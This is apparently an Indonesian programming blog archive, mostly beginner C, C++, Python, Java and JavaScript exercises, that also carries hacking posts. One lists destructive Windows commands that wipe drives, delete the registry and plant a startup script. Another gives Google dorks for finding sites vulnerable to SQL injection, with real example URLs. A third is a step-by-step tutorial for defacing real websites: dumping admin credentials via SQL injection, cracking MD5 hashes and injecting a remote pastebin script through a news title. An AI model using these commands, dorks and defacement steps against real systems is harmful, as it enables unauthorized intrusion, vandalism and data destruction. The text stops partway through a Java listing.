skip to main | skip to sidebar

Tuesday 16 July 2019

Program Sederhana dengan Bahasa C

0 comments
Kali ini saya akan men-contohkan program sederhana dengan bahasa C. Karena ada yang minta dibuatkan program dengan bahasa C, ya saya buatkan. Kalau hanya sebatas program simple saya buatkan gratis kalau mau beserta penjelasannya. Untuk program yang kompleks, kalau pengen gratis ya kgk bisa. Oke, kita langsung bahas program. Program yang ini cukup sederhana, atau bisa dibilang terlalu sederhana. Ya, karena hanya sebatas contoh saja.


Kode programnya sebagai berikut, saya terbiasa mengcoding bahasa pemrograman javacript, jadi pakai compiler online untuk membuat program seperti C/C++. Compiler untuk bahasa C yang sering saya pakai untuk ngoding yaitu di OnlineGDB. Saya akan langsung menunjukan kode program secara full dan outputnya.

Kode Program :
#include <stdio.h>
int main()
{
    char nama_depan[] = "Ven";
    char nama_belakang[] = "DS";
    int umur = 22;
    float nilaiA = 90.5;
    float nilaiB = 89.2;
    float nilaiC = 100.0;
    float nilaiRata = (nilaiA + nilaiB + nilaiC) / 3.0;
   
    printf("Nama Lengkap : %s %s\n", nama_depan, nama_belakang);
    printf("Umur : %d\n", umur);
    printf("Nilai : %f", nilaiRata);
   
    return 0;
}

Output dari program :


Sekian program sederhananya. Jika pertanyaan lain silahkan tulis di kolom komentar atau hubungi kontak yang tersedia.

Monday 15 July 2019

Menganalisa Algoritma - #1

0 comments
Lagi-lagi pertanyaan dari Brainly, saya menjawab pertanyaan dari seseorang untuk mengetahui output dari sebuah algoritma program. Secara simple algoritma adalah sebuah gambaran yang digunakan untuk menjelaskan sebuah proses. Cara penulisan algoritma kebanyakan orang pasti berbeda-beda, namum intinya sama semua. Penulisan algoritma hampir mirip juga dengan penulisan pada bahasa pemrograman.


Algoritmanya seperti ini :
Variabel i, a, n : integer
i = 1
a = 5
n = 30
REPEAT
    a = a+i*i
    i=i+1
UNTIL a>n
WRITE a
END

Keluaran dari algorimanya adalah menampilkan nilai "a" yang dapat dilihat dari perintah "WRITE a". Output nya adalah 35.

Penjelasan Algoritma :
Deklarasi dan Inisialisasi variable :
i = 1
a = 5
n = 30
REPEAT
    pengecekan pada perintah until apakah (a > n) ?
    TIDAK, karena nilai a = 5
    nilai a dan i dimasukan kedalam proses aritmatika
    -->(a = a + i * i)
        a = 5 + 1 * 1 = 6

    -->(i = i + 1)
    i = 1 + 1 = 2
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 6
        a = 6 + 2 * 2 = 10
        i = 2 + 1 = 3
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 10
        a = 10 + 3 * 3 = 19
        i = 3 + 1 = 4
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 19
        a = 19 + 4 * 4 = 35
        i = 4 + 1 = 5
    pengecekan lagi pada perintah until (a > n ) ?
    YA, karena nilai a = 35 dan proses perulangan berhenti
WRITE a
WRITE, digunakan untuk menampilkan tulisan atau angka. Output / keluarnnya adalah nilai a yaitu 35.

Saya mencoba program dengan bahasa javascript dan hasilnya sama


Sekian ya untuk kali ini semoga bermanfaat. Jika ada pertanyaan silahkan tanyakan di kolom komentar. Sampai jumpa pada materi berikutnya.

5 Perintah CMD yang Berbahaya

0 comments
Kali ini yang akan saya jelaskan adalah 5 perintah atau command yang berbahaya untuk dilakukan, command ini berbahaya bukan untuk orang lain melainkan berbahaya bagi komputer itu sendiri. Hal ini saya jelaskan dengan tujuan agar menambah wawasan dan TIDAK SEMBARANGAN KETIKA MENGGUNAKAN PERINTAH INI.


Berikut saya jelaskan 5 perintah cmd yang berbahaya dan jangan pernah dicoba.

1. BSD ( Blue Screen of  Death )
Perintah ini akan membuat komputer anda menjadi Blue Screen secara langsung. Karena terjadi kerusakan, error, atau crash pada sistem.

Command :
delete %systemdrive%\*.* /f /s

2. Memformat Harddisk
Dengan perintah ini maka hardisk anda akan terformat, pemformatan harddisk bisa dilakukan di drive C: atau dive tempat dimana windows atau OS di install. Copy dan paste perintah dibawah ini kedalam sebuah file dengan format *.bat

Command :
rd /s/q/ D:\
rd /s/q/ C:\
rd /s/q/ E:\

3.Mematikan Internet secara Permanen
Seketika internet anda akan dimatikan dan tidak dapat dihidupkan lagi. Dengan kata lain jika anda menjalankan perintah ini anda harus menginstall ulang untuk bisa menggunakan internet lagi. Gunakan code dibawah ini copy, paste dan simpan kedalam file dengan format *.bat

Command :
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:window

4. Menghapus Registry Windows
Windows sangat memerlukan registry agar program maupun hardware dapat berjalan dengan lancar. Command ini akan merusak atau menghapus registry secara keseluruhan. Copy dan paste perintah dibawah ini dan simpan kedalam file dengan format *.bat

Command :
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

5. Menghapus Seluruh Data di Hard Disk Drive
Jika dengan command sebelumnya anda harus menggunakan beberapa perintah. Tapi untuk yang kali ini anda hanya memerlukan satu baris perintah saja dan hanya dengan beberapa huruf.

Command :
del *.*

Oke, sekian untuk materi kali ini semoga bermanfaat. Dan saya harap ini hanya digunakan untuk pengetahuan saja agar kalian bisa berhati-hati dalam menggunakan perintah seperti "del, delete atau rd". Sampai jumpa pada materi berikutnya.

Sunday 14 July 2019

Program Ganjil Genap Pada Array - Python

0 comments
Saya mendapatkan pertanyaan lagi di Brainly yaitu menentukan setiap bilangan pada array apakah bilangan tersebut termasuk ganjil atau genap. Bahasa pemrograman yang digunakan yaitu Python, versi python yang saya gunakan adalah versi 3.5. Pertanyaan ini diajukan oleh seseorang dengan peringkat "Si Hebat", saya heran sih kenapa dia mengajukan pertanyaan, padahal peringkatnya jauh dari saya dan dia juga sering menjawab persoalan tentang TI.


Pertanyaannya seperti ini :
Buatlah sebuah aplikasi python yang dapat mengubah Array dibawah ini

Array : [ 2 , 7 , 5 , 3 , 12 ]

Sehingga menghasilkan output
[ Genap , Ganjil , Ganjil , Ganjil , Genap ]

Untuk programnya seperti ini, saya akan memberikan penjelasan singkat.
## Array Data
dataA = [2, 7, 5, 3, 12]

## Mengambil panjang data pada array
dataLen = len(dataA);

## pengecekan setiap data pada array
for x in range(dataLen):

    if dataA[x] % 2 == 0:
        print("Genap", end="")

    else:
        print("Ganjil", end="")

    if x < dataLen - 1:
        print(" , ", end="")

Penjelasan :
Pada perulangan For akan diulangi sebanyak panjang atau jumlah data pada Array: dataA. Setiap data pada array akan di cek pada decision (IF) apakah nilai / angka nya termasuk genap atau ganjil, untuk mengeceknya dengan menggunakan modulo (simbol %), modulo berarti sisa bagi, dimana jika sebuah angka genap jika dibagi 2 akan memiliki sisa bagi 0 dan ganjil akan memiliki sisa bagi 1.

Decision IF ( x < dataLen - 1 ) digunakan untuk menampilkan pemisah output berupa tanda koma.

Output dari programnya seperti ini :


Oke, segitu saja ya untuk kali ini semoga bermanfaat. Jika ada pertanyaan lain silahkan tulis di kolom komentar.

The Power of Dork - Google Dork

0 comments
Postingan ini saya buat karena ada yang request / bertanya tentang "Google Dork". Google Dork adalah sebuah tehnik yang digunakan untuk mencari target. Target yang dicari berdasarkan google dork berbeda dengan pencarian pada umumnya. Google Dork digunakan untuk mencari target yang mungkin memiliki kerentanan.


Perintah Dork yang sering digunakan adalah inurl, site, intitle dan filetype. Untuk penulisan dork bisa ikuti format berikut :
type: kata_kunci

1. Inurl ( Pencarian berdasarkan URL )
Inurl biasanya digunakan untuk mencari target yang rentan terhadap Deface dan SQL Injection. Inurl maksudnya adalah pencarian berdasarkan URL atau sebuah link website.

Semisalnya Dork untuk SQLi
inurl: ?id=

Maka google akan menampilkan hasil website-website yang memiliki link / url website dengan kata kunci "?id=". Hasil dari pencarian : semua url dari website yang ditampilkan mengandung kata berdasarkan kata kunci ( "?id=" ). Contohnya seperti URL Kabelindo dan Coda :

www.kabelindo.co.id/readnews.php?id=4
coda.cc/product/product.php?id=4


Kata kunci dari Inurl bisa diganti ganti. Seperti berikut :
inurl: ?pageid=
inurl: article.php?id=
inurl: games.php?id=
inurl: newsdetail.php?id=
inurl: page.php?file=

2. Site ( Situs atau Domain )
Site digunakan untuk mencari target berdasakan domain. Site biasanya digunakan untuk mencari target yang akan di deface biasany website pemerintahan. Contoh doek site: .gov. Google akan mencarikan website-website yang mengandung domain ".gov". Gov adalah domain yang digunakan untuk website pemerintahan ( Government ). Berikut hasil pencariannya :


Dork lain yang terkait dengan Site :
site: .gov
site: .co.i
site: .com
site: .uk
site: .id
site: .xyz

3. Intitle ( Dengan judul / Website dengan Judul tertentu )
Intitle yaitu pencarian website dengan title tertentu. Semisal ada membuka website pada tab browser akan memunculkan tulisan Facebook.

Intitle biasanya digunakan untuk mencari website yang memiliki Open Index atau website yang tidak memiliki Framework atau miss configurasi pada Frameworknya. Ketika website memiliki Open Index attacker dapat mencuri data-data yang penting.

Contoh Dork
intitle: index of

Hasil dari pencarian Intitle :


Dork lain yang berkaitan dengan intitle :
intitle: index of
intitle: index of mp3
intitle: index of mp4
intitle: login
intitle: phpWebMail
intitle: phpPgAdmin
intitle: "portfix admin"

4. Filetype ( Tipe dari sebuah file )
Filetype biasanya digunakan untuk mencari file dengan format tertentu pada sebuah website.

Dork untuk Filetype
filetype: xls
filetype: log
filetype: log admin.log
filetype: sql ("password values")

Untuk Filetype saya tidak menjelaskan lebih lanjut karena saya sendiri kurang dalam menggunakan Filetype.

Sekian untuk artikel kali ini. Semoga bermanfaat. Silahkan tanya di kolom komentar jika ada yang kurang dimengerti.

Saturday 13 July 2019

Menghitung Bilangan 1 - N yang Habis Dibagi - C++

0 comments
Saya melihat ada yang menanyakan pertanyaan di brainly yaitu membuat sebuah algoritma untuk menghitung bilangan 1 sampai dengan n yang habis di bagi 3. Bilangan yang habis dibagi 3 maksudnya adalah bilangan tersebut tidak bersisa jika dibagi 3, dalam artian jika dihitung secara kalkulator nilai pembagiannya tidak mengandung nilai yang dibelakang koma.


Algoritmanya cukup sederhana tapi disini saya juga akan menunjukan programnya dengan bahasa pemrograan c++. Pertama kita buat algoritmanya terlebih dahulu, algoritmanya seperti ini : 
integer N
input N
for B = 1 to N do
    if B % 3 == 0 then
        output B
    end if
end for

Untuk menghitung bilangan 1 - N perlu menggunakan perulangan ( FOR ). Bilangan yang habis dibagi 3 berarti bilangan tersebut jika dibagi tersebut memiliki sisa bagi 0.

Contoh 9 jika dibagi 3 = 3 dan memiliki sisa bagi 0.
3 * 3 + 0 = 9

Contoh lagi 11 / 3 = 3 dan memiliki sisa bagi 2.
3 * 3 + 2 = 11

Untuk mengetahui sisa bagi dengan menggunakan mod atau modulo atau dengan menggunakan simbol %. Sekarang kita buat kode programnya.
// Example program
#include <iostream>
using namespace std;
int main()
{
    int N;
    cout << "Masukan Bilangan : ";
    cin >> N;
    for(int i = 1; i <= N; i++) {
        if(i % 3 == 0) {
            cout << i << " ";
        }
    }
}

Hasil dari programnya seperti ini :

Sekian untuk kali ini semoga bermanfaat. Jika ada pertanyaan lain silahkan tulis di kolom komentar.

Program Segitiga Angka - C++

0 comments
Masih dengan brainly lagi, saya melihat ada yang mengajukan pertanyaan mengenai program untuk membuat segitiga tetapi yang ditampilkan adalah angka menggunakan sebuah perulangan dan dengan bahasa C++. Saya tidak akan membahas disini secara detail.


Saya akan langsung menunjukan source code nya. Kalian bisa mencoba source code ini pada website CPP.sh tanpa menggunakan compiler pada komputer. Untuk bahasa pemrograman sejenis C saya sering menggunakan compiler online agar lebih mudah tetapi hanya untuk pembuatan program-program kecil.

Source Code Program Segitiga Angka :
// Example program
#include <iostream>
using namespace std;
int main()
{
    int i, j, n;
    cout << "Masukan Tinggi Segitiga :";
    cin >> n;
    for(i = 1; i <= n; i++) {
        for(j = 1; j <= i; j++) {
            cout << j;
        }
        cout << "\n";
    }
}

Outputnya Seperti ini :


Penjelasan singkat, perulangan yang digunakan adalah perulangan bersarang atau Nested Loop yaitu perulangan yang berada didalam perulangan. Perulangan pertama digunakan untuk baris pada segitiga, dan perualangan ke dua sebagai kolom yang digunakan untuk menampilkan angkanya.

Semoga membantu dan sampai jumpa pada materi berikutnya.

Friday 12 July 2019

Program Aritmatika Sederhana - Javascript

0 comments
Pada meteri sebelumnya sudah saya jelaskan tentang bahasa pemrograman, operasi dan variable. Untuk sekarang kita akan membuah sebuah program sederhana dengan menggunakan bahasa pemrograman javascript. Javascript dapat dijalankan secarang langsung di HTML dan pastinya tidak memerlukan tools khusus untuk menuliskan kode program dengan javascript.


Pertama, siapkan dulu toolsnya yaitu notepad atau text editor yang lainnya dan browser yang akan digunakan untuk membuka file html.

Membuat Program Aritmatika
1. Buat sebuah file dengan nama programAritmatika.html
2. Untuk menjalankan printah javascript didalam HTML, kode javascript harus dimasukan kedalam tag <script>.
3. Menampilkan tulisan didalam website semisal "Program Aritmatika". Untuk menampilkan text di website gunakan perintah document.write("Tulisan Anda"). Ketikan kode berikut.


Tag <br> memiliki fungsi seperti enter di keyboard.

4. Membuat deklarasi variable dan melakukan perhitungan aritmatika. Kalian bisa mengubah sendiri nilai dari variable nya. Didalam javascript untuk membuat variable harus diawali dengan "var" lalu diikuti nama variable.


Tanda ( // ) digunakan untuk membuat sebuah komentar atau text yang tidak akan ditampilkan didalam website. Komentar digunakan oleh programmer untuk menjelaskan proses yang sedang berjalan atau digunakan untuk menjelaskan variable tertentu.

5. Menampilkan Hasil. Jika filenya dibuka maka hanya akan menampilkan tulisan "Program Aritmatika". Sedangkan hasil dari operasi belum ditampilkan. Sekarang kita tambahkan kode untuk menampilkan hasil dari operasinya. Tambahkan kode berikut :


Tanda ( + ) pada tipe data String bukan seperti operasi penjumlahan aritmatika tapi untuk menggabungkan tulisan. Baca tentang Operator jika belum paham. Tampilan akhir dari programnya seperti ini.


Segini saja untuk Tutorial Membuat Program Sederhana dengan Javascript mungkin kalian akan sedikit bingun atau pusing belum paham sama sekali :D tulis di kolom komentar untuk bagian yang belum kalian pahami. Semoga bermanfaat dan sampai jumpa pada materi berikutnya.

Thursday 11 July 2019

Dos / DDOS ( Distributed Denial of Service )

0 comments
Distibuted Denial of Service atau yang lebih dikenal dengan DDos. DDos adalah sebuah serangan yang ditujukan ke sebuah server sebagai target nya. DDos dilakukan dengan menggunakan banyak komputer untuk mengirimkan traffic atau request ke sebuah server, sehingga traffic server menjadi tinggi dan mengakibatkan down.


Untuk melakukan penyerangan DDos seorang hacker biasanya memerlukan akses online kesebuah  komputer dengan menyebarkan malware pada komputer-komputer yang dituju, dengan demikian komputer yang sudah terkena malware akan menjadi zombie komputer atau dikenal dengan sebutan botnet.


Setelah botnet disiapkan, hacker dapat memberikan instuksi-instruksi kepada botnet untuk mengirimkan traffic kepada target ( berupa ip address ). Setiap botnet akan terus mengirimkan traffic sampai target menjadi down dan tidak dapat diakses.

Penggambaran lain dari  DDos


# Pelayan pusing karena terlalu banyak menerima pesanan yang tidak ada hentinya.

Jenis Jenis DDos :

1. Ping of Death ( POD )
Ping of Death sering digunakan dalam serangkaian penyerangan DDos. POD memanfaatkan besar paket yang dikirim, karena paket yang dikirim bisa dimanipulasi dan bisa melibihi batas normal sehingga membuat target down seketika.

2. SiDDos
SiDDos ( Sql Injection Distibuted Denial of Service ) memanfaatkan bug pada sebuah perintah Sql, dimana attacker. akan menyisipkan sebuah perintah tertentu sehingga server akan menjadi crash seketika.

3. SYN Flood
Serangan ini dilakukan dengan membanjiri dengan request berupa peket SYN atau sinkronisasi. Paket SYN adalah sebuah paket yang mengawali terbentuknya koneksi pada TCP/IP. Ketika paket palsu SYN dikirim ke server maka server akan membalasnya dengan SYN-ACK ke ip palsu (client), sehingga server tidak akan pernah mendapatkan balasan SYN-ACK-ACK dari client. Menerima paket dari client membutuhkan memori atau resource tententu. Sehingga server hanya akan menghabiskan memori untuk menerima request dari paket-paket palsu dari attacker.

Untuk ketiga jenis diatas akan dijelaskan cara penggunaannya pada materi berikutnya. Masih banyak cara-cara yang dapat digunakan untuk melakukan serangkaian DDos. Sekian untuk materi kali ini semoga bermanfaat. Jangan lupa untuk share dan sampai ketemu pada materi selanjutnya.

Pengenalan HTML

0 comments
Hypertext Markup Language atau yang lebih dikenal dengan sebutan HTML adalah sebuah bahasa markah atau markup yang digunakan untuk membangun sebuah website. Website itu nantinya dapat digunakan untuk menampilkan informasi dan data, layanan dll. HTML ditulis dalam format penulisan ASCII karena tampilan yang dihasilkan dapat terintegrasi dengan baik. Untuk saat ini HTML merupakan sebuah standar internet yang diawasi oleh Word Wide Web Consortion ( W3C ).


Hypertext sendiri adalah sebuah text atau dokumen yang yang dapat berpindah ke dokumen atau halaman lainnya dengan mengeklik sebuah objek yang pada umumnya adalah sebuah text. Text yang dapat terlink ke halaman lain di sebut hyperlink. Dengan menggunakan hyperlink akan mempermudah untuk perpindah halaman tanpa mencari halaman yang dituju.

HTML tidak termasuk kedalam bahasa pemrograman karena HTML merupakan bahasa markah yang mengadopsi dari penulisan dokumen. Bahasa markah adalah sebuah bahasa yang menggunakan markah atau tanda jika didalam HTML dikenal dengan sebutan tag. Tag didalam HTML dirancang secara terstruktur sehingga tag tersebut tidak akan tampak saat halaman dibuka, tidak seperti XML yang akan tetap memunculkan tag ketika dibuka.

Fungsi HTML
HTML mengadopsi dari penulisan sebuah dokumen. Hal ini menjadikan HTML memiliki banyak kegunaan. Diantaranya :

1. Menampilkan sebuah informasi layaknya buku atau dokumen.
2. Sebagai form pendaftaran online karena terdapat fitur form.
3. Pondasi dari sebuah website. Semua website pasti dibangun dengan menggunakan HTML.
4. Layanan sebuah produk atau jasa.
5. Linked website. Website yang terhubung dengan website lain.

Struktur Pembangun HTML
HTML dibangun dengan beberapa stuktur seperti berikut ini :

1. Tag
Tag didalam website digunakan sebagai sebuah tanda. Dimana tanda tersebut akan mempengaruhi sebuah objek didalamnya. Jika didalam dokumen bisa diibaratkan dengan memberi tanda garis bawah pada tulisan atau menberi tanda dengan menstabilo tulisan tertentu.

Didalam HTML ada 2 aturan penulisan tag yaitu tag yang memiliki tag penutup dan tag yang tidak memiliki tag penutup.

Contoh tag yang memiliki tag penutup.

<body>perjalananku</body>

Tag "body" memiliki tag penutup. Format tag penutup selalu seperti ini </nama_tag>. Contoh tag yang tidak memiliki tag penutup.

<input type="text">

Tag input tidak memiliki tag penutup. Jika kalian bertanya kenapa ? jawabannya karena itu sudah aturan dari pihak W3C. Atau mungkin jawaban yang lain adalah untuk tag yang memiliki tag penutup digunakan untuk mengatur onjek yang berhubungan dengan tulisan.

Penulisan tag tidak boleh dengan tanda spasi. Tag didalam HTML memiliki keunikan yaitu kalian bisa menuliskan tag dengan nama yang kalian inginkan. Semisal "ibu budi" jika dituliskan kedalam tag HTML menjadi.

<ibubudi>Pergi Belanja</ibubudi>

Tag apapun didalam html akan tetap menjadi tag yang ditulis ( tidak dihilangkan ). Tetapi tag ini memiliki atribut yang tetbatas.

2. Atribut
Atribut adalah sebuah pengaturan atau fitur yang terletak di dalam atribut. Setiap atribut tag pada umumnya memiliki nilai, hanya beberapa yang tidak memiliki nilai. Sebagai contoh pada tag input ( kolom isian ) yang memiliki atribut "type" secara default akan bernilai "text" yang berarti tulisan. Jika nilai "type" diganti dengan "password" maka tulisan yang diketikkan di tag input akan menjadi ****** atau di sensor :D.

<input type="password">

Perkembangan HTML
Untuk saat ini HTML sudah berkembang ke versi HTML yang ke 5. HTML5 di tetapkan sebagai versi HTML yang paling stabil dari versi yang sebelumnya. Penggunaan HTML dari versi ke 1 sampai 3 hanya seperti penulisan dokumen biasa pada umumnya yang tanpa gambar dan hanya tulisan saja.

Pada versi ke 4.01 sudah lebih baik karena disertai dengan link, gambar, form, meta dll. Untuk versi 4.01 hanyalah versi perbaikan dari versi 4.0 karena memiliki beberapa kesalahan. Perkembangan dari HTML 1 ke versi 4 memerlukan waktu yang tidak lama hanya beberapa tahun saja. Namum untuk perkembangan ke HTML5 memerlukan waktu sekitar 14 tahun.

HTML di versi 5 memiliki banyak perkembangan diantaranya adalah penambahan tag seperti header, aside, section dan footer. HTML5 juga mendukung video dan audio player yang dapat digunakan untuk memutar video dan audio tanpa menggunakan plugin tambahan maupun flashplayer. HTML5 juga seudah mendukung canvas yang digunakan untuk menampilkan objek 2 dimensi yang sekarang digunakan untuk membangun sebuah game dengan basis HTML5.

Demikian materi tentang pengenalan HTML semoga bermanfaat. Sekian dari saya dan sampai jumpa pada materi berikutnya.

Wednesday 10 July 2019

Pengenalan Bahasa Pemrograman

0 comments
Bahasa pemrograman atau bahasa komputer adalah kumpulan instruksi atau perintah-perintah yang digunakan untuk membangun sebuah program komputer. Instruksi atau perintah-perintah ini dinamakan dengan sintaks. Sintaks adalah sebuah aturan atau prinsip yang mencakup struktur kalimat dalam bahasa apapun. Setiap bahasa pemrogaman memiliki aturan dan prinsip penulisan bahasa yang berbeda-beda namun komputer tetap mengerti perintah yang akan dilakukan. Hal ini dikarenakan adanya compiler yang menerjemahkan sintaks-sintaks tersebut kedalam bahasa mesin agar dapat dibaca oleh komputer.


Bahasa pemrograman sangat penting dan wajib bagi seorang Developer. Dalam pembuatan program atau aplikasi bahasa pemrograman yang dibutuhkan harus sesuai dengan kebutuhan aplikasi yang dibuat. Bahasa pemrograman ada bermacam-macam contoh Java, C, C++, C#, Pascal, Go-Lang, Python, JavaScript dan PHP.

Dalam belajar bahasa pemrograman yang harus dikuasai terlebih dahulu adalah algoritma atau langkah-langkah sebuah program. Semisal dari pendefinisian variabel, menggunakan operasi penjumlahan atau pengurangan, menambahkan decision ( if ) dst, yang nantinya akan dibahas pada materi berikutnya. Selain menuliskan algoritma bisa juga dengan menggunakan flowchart untuk mempermudah dalam membuat alur program.

Tingkat Bahasa Pemrograman
Pada umumnya tingakat bahasa pemrograman ada 3 yaitu bahasa pemrograman tingkat rendah, tingat menengah dan tingkat tinggi. Ada juga yang mengelompokan menjadi 4, yang ke empat adalah bahasa pemgraman tingkat sangat-tinggi. Tetapi yang dibahas disini hanya 3 saja.

1. Bahasa Pemrograman Tingkat Rendah
Bahasa pemrograman tingkat rendah adalah sebuah pemgrogaman yang dilakukan dengan menginputkan perintah-perintah secara langsung ke sebuah mesin tanpa menggunakan compiler apapun. Sampai saat ini hampir tidak ada programmer yang menulis program secara langsung kedalam kode mesin karena membutuhkan ketelitian yang khusus dalam menulis sebuah program. Bahasa yang digunakan mesin ini hanya menggunakan angka "0" (nol) dan "1" (satu) atau yang sering dikenal dengan sebutan biner.

2. Bahasa Pemrograman Tingkat Menengah
Bahasa tingkat menengah dalam bahasa pemrograman dikenal dengan sebutan assembly. Assembly cenderung menggunakan singkatan dari perintah-perintah yang disebut dengan mnemonic contohnya seperti MOV, INC, JMP, SUB, JL, LOOP dan DJNZ. Assembly tidak menggunakan compiler untuk diterjemahkan kedalam bahasa mesin tetapi cukup dengan menggunakan loader saja.

Bahasa assembly dikelompokan dengan bahasa tingakat menegah karena penggunaan sintaks yang cukup dengan dengan manusia contoh perintah JCXZ ( Jump if CX Zero ) yang menggunakan bahasa menusia namun hanya disingkat saja.

3. Bahasa Pemrograman Tingkat Tinggi
Yang dimaksudkan tingkat tinggi adalah bukan dilihat dari tingkat kesulitannya, melainkan kedekatan dengan manusia. Bahasa tingkat tinggi mengadopsi bahasa atau kata-kata yang digunakan manusia lebih tepatnya pada bahasa inggris, contoh seperti perintah DO... WHILE, IF... THEN, FOR, CONTINUE dan BREAK. Kedekatan bahasa program dengan manusia menyebabkan komputer tidak memahami program atau perintah yang dimaksud untuk itu dibutuhkan sebuah perantara yang disebut dengan compiler yang akan menerjemahkan kedalam bahasa mesin.

Contoh bahasa pemrograman tingkat tinggi :
- Java
- C / C++
- JavaScript
- Python
- PHP
- SQL

Demikian materi tentang bahasa pemrograman semoga bermanfaat dan sampai jumpa pada materi berikutnya.

Simple Array Sum - Hacker Rank

0 comments
HackerRank adalah platform teknologi perekrutan yang merupakan standar untuk menilai kemampuan developer dari 1.000 lebih perusahaan di seluruh dunia. Dengan memungkinkan perekrut teknologi dan perekrutan manajer untuk secara objektif mengevaluasi kemampuan pada setiap tahap proses perekrutan, HackerRank membantu perusahaan merekrut developer yang terampil dan yang lebih cepat berinovasi. About HackerRank.


Kali ini saya akan membahas setiap soal dari level Easy sampai Hard. Selain kita membahas soal-soal yang ada di hackerrank, saya juga memperkenalkan kepada kalian sebuah platform dimana kalian dapat melatih skill, logika atau algoritma kalian. Platform ini sudah tersedia dengan banyak bahasa pemrograman yang terkenal seperi Java, Python, Javascript, Swift dll.

Materi atau persoalan pertama sangat mudah sekali, yaitu penjumlahan simple pada array. Simple Array Sum.

Array yaitu sekumpulan data dengan tipe data tertentu. Contoh :
1. Sekumpulan data dengan tipe data string ( text atau tulisan )
buah = ['jeruk', 'mangga', 'apel']

2. Sekumpulan data dengan tipe data integer ( angka )
angka = [1, 10, 5, 2, 3]

Pada kasus Simple Array Sum kita disuruh untuk menjumlahkan data didalam array berupa angka. Contoh array yang diberikan :

ar = [1,2,3] maka kita harus menjumlahkannya seperti ini 1 + 2 + 3 = 6, untuk menjumlahkan semua data pada array ada beberapa langkah yang harus di lalukan. 1. Mengambil panjang data. Misal pada contoh array di atas panjang datanya adalah 3 karena ada 3 data.

2. Mengambil nilai dari setiap array. Array memiliki index atau urutan data yang selalu dimulai dari 0. Misal mengambil data pada contoh di atas. Format : nama_variabel[index]

ar[-1]  = index out of bound. Nilai index tidak boleh kurang dari 0.
ar[0] = 1
ar[1] = 2
ar[2] = 3
ar[3] = index out of bound. Nilai index tidak boleh lebih dari panjang datanya.

Jika sudah mengerti cara mengambil panjang data dan nilai di setiap index. Sekarang adalah membuat sebuah algorima. Yang kita butuhkan adalah bagaimana caranya untuk mengambil data dari index 0 sampai index maksimalnya. Kita membutuhkan sebuah perualangan ( looping ) agar nilai indexnya bisa dijumlahkan terus menerus ( index++ ) tetapi kita harus batasi index sehingga tidak boleh lebih dari panjang data ( index < panjang_data) atau ( panjang_data - 1 ).

Algoritmanya seperti ini :
// Kita membuat variabel untuk menampung total penjumlahan
total = 0

// lalu kita membuat sebuah perulangan
index = 0
loop index to panjang_data(array) - 1 do

   // nilai total diganti dengan nilai total sebelumnya ditambah nilai array
   total = total + array[index]

   // nilai index diganti dengan nilai index sebelumnya ditambah 1
   index = index + 1
end loop
return total // return adalah nilai yang diberikan kepada sebuah fungsi. akan dibahas pada materi selanjutnya

Sekarang kita membuat programnya. Saya akan mencontohkan program dalam bahasa pemrograman  Javascript.


Terakhir, klik Submit Code untuk mengirimkan Code dan akan di uji coba dengan beberapa inputan data. Jika berhasil akan ada pemberitahuan pada kotak hijau.

"Congratulations"
"You solved this challenge. Would you like to challenge your friends?"

Oke, segitu saja untuk pembahasan kali ini semoga bermanfaat. Jika ada yang belum dipahami silahkan tulis dikolom komentar atau bisa hubungi kontak yang tersedia.

Wednesday 3 July 2019

Deface Website dengan XSS dan SQLi

0 comments
Pada materi sebelumnya sudah dijelaskan mengenai XSS dan juga SQL Injection. Sekarang kita gunakan dua metode tersebut untuk mendeface sebuah website. Biasanya setelah kita login sebagai admin terkadang panel adminnya mempunyai fitur yang sangat terbatas seperti contoh menambahkan berita, galeri dan informasi yang lain. Sekarang kita akan mendeface website dengan dua metode tersebut. SQL Injection digunakan untuk melihat akun admin dan XSS digunakan untuk mengubah tampilan website.



Seperti biasa saya tidak akan memberikan target tertentu. Untuk mencari website-website yang memiliki form login bisa gunakan dork ini.

inurl: login

Tutorial SQL Injection kalian bisa kunjungi materi SQL Injection dan untuk XSS bisa kunjungi materi XSS yang sudah tersedia. Kalau kalian sudah berhasil menemukan username dan password admin, cek terlebih dahulu apakah passwordnya terenkripsi atau tidak, biasanya password di enkripsi dengan MD5. Password yang di enkripsi MD5 bisa kalian dekripsi dengan tools yang beredar di internet salah satunya adalah MD5 Online.

Masukan password yang terenkripsi ke kalam kotak yang disediakan kan klik tombol Decrypt, tunggu hingga proses nya selesai.

Biasanya website terdapat berita atau informasi lain yang dimunculkan di halaman utama website. Nah, itu akan kita jadikan sebagai target deface website tanpa mengubah file indexnya.


Setelah kalian masuk ke panel Admin kalian bisa mengganti atau menambahkan berita dengan disisipkan script deface. Kalian bisa menggunakan script deface dari saya. Masukan payload XSS ke judul berita.

Payload : <script type="text/javascript" src="https://pastebin.com/raw/xqcAm4nU">

Simpan beritanya dan kunjungi halaman utama website. Jika berhasil website akan berganti tampilan.


Jika ada yang belum dimengerti silahkan tulis dikolom komentar atau kirim pesan pada kontak yang tersedia. Sekian untuk materi kali ini, semoga bermanfaat dan sampai jumpa pada materi berikutnya.

Pencarian Karakter Pada Array - Java

0 comments
Lagi-lagi dari branly saya melihat ada membuat pertanyaan untuk membuat sebuah program untuk mencari sebuah character dalam susunan array yang berisi banyak character. Character yang dicari diinputkan secara manual, jika ada character dalah susunan array tadi maka akan ditampilkan "ADA" dan ditampilkan juga berapa banyaknya, jika tidak ada maka ditampilkan tulisan "TIDAK ADA".


Algoritma :
1. Array Char -> [B][U][D][I][ ][L][U][H][U][R]
2. jumlah -> 0, untuk menyimpan jumlah character yang ditemukan.
3. kata -> diambil dari inputan.
4. Kata yang dicari dibandingkan dengan setiap character di dalam array sampai character yang terakhir, jika ada maka jumlah akan ditambah 1.
5. Jika jumlah lebih dari 0, tampilkan "ADA" dan tampilkan jumlah.
6. Jika jumlah sama dengan 0, tampilkan "TIDAK ADA".

Source Kode Program dengan Bahasa Java.

package testbrainly;

import java.util.Scanner;
/**
 * @author Ven DS
 */
public class TestBrainly {
    public static void main(String[] args) {
